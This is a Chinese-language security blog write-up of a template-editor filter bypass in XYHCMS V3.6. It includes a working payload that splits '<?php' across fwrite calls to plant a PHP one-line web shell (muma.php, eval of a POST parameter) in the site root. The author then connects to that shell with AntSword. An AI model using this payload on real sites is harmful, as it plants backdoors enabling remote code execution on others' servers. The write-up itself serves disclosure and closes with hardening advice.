行云海CMS之模板编辑防不胜防

2022-09-26 8,515


简介

行云海CMS(XYHCMS)是完全开源的一套CMS内容管理系统,行云海CMS(XYHCMS)分为两个分支。XYHCMS3.x为最新版(需要php5.3+);XYHCMS2.x为长期维护版(需要php5.2+)。

下载地址:http://www.xyhcms.com/down

版本:2022-06-17更新的V3.6版本

分析过程

下载安装本地 前台效果:


找了一下后台模板编辑,找一个容易测试的,首页页面,来修改模板。

定位到提交后的方法

源代码,在85行调用了检测php的一个函数

继续跟踪,找到调用的方法

首先的话,查找<?php ,<?= ,<? ,<script && php ,在字符串中存在然后执行正则表达式的匹配以及替换 那我们就用拼接法去掉这几个不就可以了么 那我们来试一试不让用些<?php?>,那就用{:}来输出。

$file=fopen("muma.php","w");//根目录创建muma.php文件
fwrite($file,'<');
fwrite($file,'?');
fwrite($file,'php');
fwrite($file,' @eval($_POST["cmd"]);');
fwrite($file,'?>');
}


通过避免那几个关键词,我们试一下,看看能不能保存成功。


可以保存成功,我们运行下首页看下,是否会生成文件。



看下根目录下是否存在创建的文件。



使用蚁剑链接。



至此分析结束。

总结

后台在线编辑模板,对维护者提供了方便,但是也埋下了隐患,为了安全,还是建议关闭在线编辑模板功能然后线下修改模板后上传!

E

N

D


本文作者:TideSec

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/187760.html

Tags:
评论  (0)
快来写下你的想法吧!

TideSec

文章数:114 积分: 185

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号